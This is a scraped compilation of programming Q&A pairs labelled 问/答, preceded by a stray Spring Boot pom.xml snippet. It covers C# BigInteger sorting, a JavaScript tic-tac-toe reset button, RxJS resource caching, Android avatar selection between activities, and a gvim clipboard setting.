Following is my dependencies in pom.xml:

<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>1.5.8.RELEASE</version>
        <relativePath/>
    </parent>
<dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-jpa</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-rest</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-security</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>com.h2database</groupId>
            <artifactId>h2</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.security</groupId>
            <artifactId>spring-security-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>


问:
C# How to sort int when value is too large
```<code>8
723
77715926535897932384626433832795
</code>```

Usually I will place them into Array and using Sort method to sort them numerically.

However, the above value is too huge to be place into Int64 and if using string array, its gonna give unexpected outcome which 8 comes after 77715926535897932384626433832795. How to sort such large value?

答:
Instead of using int64 to store your value you can use BigInteger class from System.Numerics namespace.
If you want to use primitive types, then float, double, long are options for you.

Primitive data types with approximate length

float : -3.4 × 10^38 to +3.4 × 10^38

double: ±5.0 × 10^−324 to ±1.7 × 10^308

long: -9,223,372,036,854,775,808 to 9,223,372,036,854,775,807

For more information about: System.Numerics

Sorting of BigInteger: Look at this example

Now choice is yours. Happy coding

Body:
8
723
77715926535897932384626433832795

Usually I will place them into Array and using Sort method to sort them numerically.

However, the above value is too huge to be place into Int64 and if using string array, its gonna give unexpected outcome which 8 comes after 77715926535897932384626433832795. How to sort such large value?


问:
Reset Button for Tic Tac Toe Game (button pops up but doesnt function)
i am creating a tic tac toe game using javascript and i got it to work. However my only issue is that the reset button wont work. I have looked at other posts that involve a reset button but im not getting it to work.  Also the function i tried using to for the reset button is document.getElementById("myForm").reset();

I'm  a beginner doing this so im sorry if i made a mistake that seems apparent.

<!DOCTYPE html>

 <title>Tic Tac Toe Game </title>
 <meta charset="UTF-8" />

 Tic-Tac-Toe

  Player 1

     0

  Player 2

0

 <input type='reset' style='width:100px;margin:0 50%;position:relative;left:-50px;'>

```

答:
Mitchell,

The click event is not attached to the reset button and the 'drawboard' function isn't called on reset button click. you may have to make the below changes:

```<code><input type='reset' style='width:100px;margin:0 50%;position:relative;left:-50px;' onclick="reset()">

function reset()
{
currentPlayer = 0;
player1pics = new Array();
player2pics = new Array();
drawBoard();
}
</code>```

Body:
Mitchell,

The click event is not attached to the reset button and the 'drawboard' function isn't called on reset button click. you may have to make the below changes:

<input type='reset' style='width:100px;margin:0 50%;position:relative;left:-50px;' onclick="reset()">

function reset()
{
currentPlayer = 0;
player1pics = new Array();
player2pics = new Array();
drawBoard();
}


问:
Rxjs init resource once with hot observable
I have a service setup with this code below :

```<code>@Injectable()
export class StaticResourcesService {

private resourcesTree$: Observable<any>;

getSpecificLabel(resourceName: string, type: string): Observable<string> {
    return this.getResources().map(resources => {
      return jp.value(resources, `$.${resourceName}[?(@.type=="${type}")].label`);
    });
  }

private getResources(): Observable<any> {
    if (this.resourcesTree$ != null) {
      return this.resourcesTree$;
    }
    let source = this.getResourcesFilePath() // get obs<string> with a file path
      .mergeMap(path => {
        console.log(`static-resources path: ${path}`);
        return this.http.get(path).map(res => res.json()); // get json obj
      }).do(res => {
        this.resourcesTree$ = Observable.of(res);
      });
    return source;
  }
</code>```

a custom angular pipe with a transform method like this :

```<code>transform(resourceType: string, resourceName: string): Observable<string> {
    return this.staticResourcesService.getSpecificLabel(resourceName, resourceType);
  }
</code>```

and I use this custom pipe in a simple html page:

```<code><div *ngFor="let item of items">{{ item?.status | staticResource:'MY_RES' | async }}</div>
</code>```

When I load the page for the first time, the custom pipe will process 4 times (the ngFor loops 4x) and will never get its source data from resourcesTree$. I understand that its a normal behavior as the subscriptions will listen at the same time and the do will be performed 4x. But what I want is an optimized way with accessing the data only one time and then take advantage of resourcesTree$ the next 3 times. I tried to makes it "hot" by using the share() method on the source. But I can't make it work properly.

Can somebody tell me how to achieve this please ? Maybe Im all wrong and Im really open to any suggestions here.

Thank you

答:
The usual pattern for an async service is to make the shared resource a Subject() or ReplaySubject(). That way, you just hook up subscribers and they wait nicely for data to arrive.

In your example, it's slicing up the resource, so that's a map operator (as you have already). Also some way to signal the fetch has started (don't care if it's finished yet, since it's observable).

Since getResources() is no longer subscribed externally, you'll need to replace .do() with .subscribe().

```<code>@Injectable()
export class StaticResourcesService {

private resourcesTree$ = new ReplaySubject(1);
private status = 'unloaded';

getSpecificLabel(resourceName: string, type: string): Observable<string> {
  if( this.status === 'unloaded') {
    this.status = 'loading';
    getResources();
  }
  return resourcesTree$.map(resources => {
    return jp.value(resources, `$.${resourceName}[?(@.type=="${type}")].label`);
  });
}

private getResources(): Observable<any> {
  this.getResourcesFilePath() // get obs<string> with a file path
    .mergeMap(path => {
      console.log(`static-resources path: ${path}`);
      return this.http.get(path).map(res => res.json()); // get json obj
    })
    .subscribe(res => {
        this.resourcesTree$.next(res);
        this.status = 'loaded';
      });
  }
</code>```

Body:
I have a service setup with this code below :

@Injectable()
export class StaticResourcesService {

private resourcesTree$: Observable<any>;

getSpecificLabel(resourceName: string, type: string): Observable<string> {
    return this.getResources().map(resources => {
      return jp.value(resources, `$.${resourceName}[?(@.type=="${type}")].label`);
    });
  }

private getResources(): Observable<any> {
    if (this.resourcesTree$ != null) {
      return this.resourcesTree$;
    }
    let source = this.getResourcesFilePath() // get obs<string> with a file path
      .mergeMap(path => {
        console.log(`static-resources path: ${path}`);
        return this.http.get(path).map(res => res.json()); // get json obj
      }).do(res => {
        this.resourcesTree$ = Observable.of(res);
      });
    return source;
  }

a custom angular pipe with a transform method like this :

transform(resourceType: string, resourceName: string): Observable<string> {
    return this.staticResourcesService.getSpecificLabel(resourceName, resourceType);
  }

and I use this custom pipe in a simple html page:

{{ item?.status | staticResource:'MY_RES' | async }}

When I load the page for the first time, the custom pipe will process 4 times (the ngFor loops 4x) and will never get its source data from resourcesTree$. I understand that its a normal behavior as the subscriptions will listen at the same time and the do will be performed 4x. But what I want is an optimized way with accessing the data only one time and then take advantage of resourcesTree$ the next 3 times. I tried to makes it "hot" by using the share() method on the source. But I can't make it work properly.

Can somebody tell me how to achieve this please ? Maybe Im all wrong and Im really open to any suggestions here.

Thank you

Body:
The usual pattern for an async service is to make the shared resource a Subject() or ReplaySubject(). That way, you just hook up subscribers and they wait nicely for data to arrive.

In your example, it's slicing up the resource, so that's a map operator (as you have already). Also some way to signal the fetch has started (don't care if it's finished yet, since it's observable).

Since getResources() is no longer subscribed externally, you'll need to replace .do() with .subscribe().

@Injectable()
export class StaticResourcesService {

private resourcesTree$ = new ReplaySubject(1);
private status = 'unloaded';

getSpecificLabel(resourceName: string, type: string): Observable<string> {
  if( this.status === 'unloaded') {
    this.status = 'loading';
    getResources();
  }
  return resourcesTree$.map(resources => {
    return jp.value(resources, `$.${resourceName}[?(@.type=="${type}")].label`);
  });
}

private getResources(): Observable<any> {
  this.getResourcesFilePath() // get obs<string> with a file path
    .mergeMap(path => {
      console.log(`static-resources path: ${path}`);
      return this.http.get(path).map(res => res.json()); // get json obj
    })
    .subscribe(res => {
        this.resourcesTree$.next(res);
        this.status = 'loaded';
      });
  }


问:
Android - Receiving image from another ImageView with "startActivityonResultFor"
I am trying to make it where when someone clicks on the default avatar picture it will send them to a separate activity which will contain a selection of avatars to choose from. The user will select one of these avatars and then I want to send the user back to the Main activity, with the avatar ImageView set as the one they selected. I have done this with text, but not with images, and I've reached a point of confusion. Can anyone help me make this possible?</p>

```<code>// First View
public class MainActivity extends AppCompatActivity {
    ImageView imageViewSelectAvatarLocal;
    int requestCodeImageBrownHairedFemale = 100;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        imageViewSelectAvatarLocal = findViewById(R.id.imageViewdefaultAvatar);
        imageViewSelectAvatarLocal.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent(MainActivity.this, SelectAvatarActivity.class);
                intent.putExtra("Brown Haired Woman", 001);
                startActivityForResult(intent, 100);
            }
        });
    }

    @SuppressLint("ResourceType")
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == SelectAvatarActivity.RESULT_OK && data != null){
            if(requestCode == requestCodeImageBrownHairedFemale) {
                //...
            }
        }
    }
}
// Second View
public class SelectAvatarActivity extends AppCompatActivity {
    ImageView imageViewBrownHairedWoman
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_select_avatar);
        imageViewBrownHairedWoman = findViewById(R.id.imageViewBrownHairFemale);
        imageViewBrownHairedWoman.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.getExtras();
                setResult(MainActivity.RESULT_OK, intent);
                finish();
            }
        });

    }
}
</code>```

答:
How about using array?
You have some avatar images. So you can do

```<code>int[] avatars = {R.drawable.avatar0, ... };
</code>```

In second view, click one of avatar images(each image have position), send position to MainActivity and get value using onActivityResult method.

For example,

```<code>public class MainActivity extends AppCompatActivity {
    int[] avatars = {R.drawable.avatar0, ... };
    ImageView imageViewSelectAvatarLocal;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        imageViewSelectAvatarLocal = findViewById(R.id.imageViewdefaultAvatar);
        imageViewSelectAvatarLocal.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent(MainActivity.this, SelectAvatarActivity.class);
                startActivityForResult(intent, 100);
            }
        });
    }

    @SuppressLint("ResourceType")
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == SelectAvatarActivity.RESULT_OK && data != null){
            if(requestCode == 100) {
              int pos = data.getIntExtra("avatar", 0);
              imageViewSelectAvatarLocal.setImageResource(avatars[pos]);
            //...
            }
        }
    }
}

// Second View
public class SelectAvatarActivity extends AppCompatActivity {
    ImageView avatar0, avatar1, ...;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_select_avatar);
        avatar0 = findViewById(R.id.avatar1);
        avatar0.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.putExtra("avatar", 0);
                setResult(MainActivity.RESULT_OK, intent);
                finish();
            }
        });

        //...
    }
}
</code>```

Body:
I am trying to make it where when someone clicks on the default avatar picture it will send them to a separate activity which will contain a selection of avatars to choose from. The user will select one of these avatars and then I want to send the user back to the Main activity, with the avatar ImageView set as the one they selected. I have done this with text, but not with images, and I've reached a point of confusion. Can anyone help me make this possible?

// First View
public class MainActivity extends AppCompatActivity {
    ImageView imageViewSelectAvatarLocal;
    int requestCodeImageBrownHairedFemale = 100;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        imageViewSelectAvatarLocal = findViewById(R.id.imageViewdefaultAvatar);
        imageViewSelectAvatarLocal.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent(MainActivity.this, SelectAvatarActivity.class);
                intent.putExtra("Brown Haired Woman", 001);
                startActivityForResult(intent, 100);
            }
        });
    }

    @SuppressLint("ResourceType")
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == SelectAvatarActivity.RESULT_OK && data != null){
            if(requestCode == requestCodeImageBrownHairedFemale) {
                //...
            }
        }
    }
}
// Second View
public class SelectAvatarActivity extends AppCompatActivity {
    ImageView imageViewBrownHairedWoman
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_select_avatar);
        imageViewBrownHairedWoman = findViewById(R.id.imageViewBrownHairFemale);
        imageViewBrownHairedWoman.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.getExtras();
                setResult(MainActivity.RESULT_OK, intent);
                finish();
            }
        });

    }
}

Body:
How about using array?
You have some avatar images. So you can do

int[] avatars = {R.drawable.avatar0, ... };

In second view, click one of avatar images(each image have position), send position to MainActivity and get value using onActivityResult method.

For example,

public class MainActivity extends AppCompatActivity {
    int[] avatars = {R.drawable.avatar0, ... };
    ImageView imageViewSelectAvatarLocal;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        imageViewSelectAvatarLocal = findViewById(R.id.imageViewdefaultAvatar);
        imageViewSelectAvatarLocal.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent(MainActivity.this, SelectAvatarActivity.class);
                startActivityForResult(intent, 100);
            }
        });
    }

    @SuppressLint("ResourceType")
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        if (resultCode == SelectAvatarActivity.RESULT_OK && data != null){
            if(requestCode == 100) {
              int pos = data.getIntExtra("avatar", 0);
              imageViewSelectAvatarLocal.setImageResource(avatars[pos]);
            //...
            }
        }
    }
}

// Second View
public class SelectAvatarActivity extends AppCompatActivity {
    ImageView avatar0, avatar1, ...;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_select_avatar);
        avatar0 = findViewById(R.id.avatar1);
        avatar0.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.putExtra("avatar", 0);
                setResult(MainActivity.RESULT_OK, intent);
                finish();
            }
        });

        //...
    }
}


问:
gvim: passing the visually-selected text to the command line
I use gvim to store recipes of commands that I will execute, depending on output. Currently, I select the text in gvim and paste the commands into a terminal console, but I bet there's a way I can pass the visually selected range into a command-line for execution.</p>

答: If you are using the vim GUI, you can do set guioptions+=a. This way, any highlighted text inside gvim in visual mode gets pasted to a clipboard.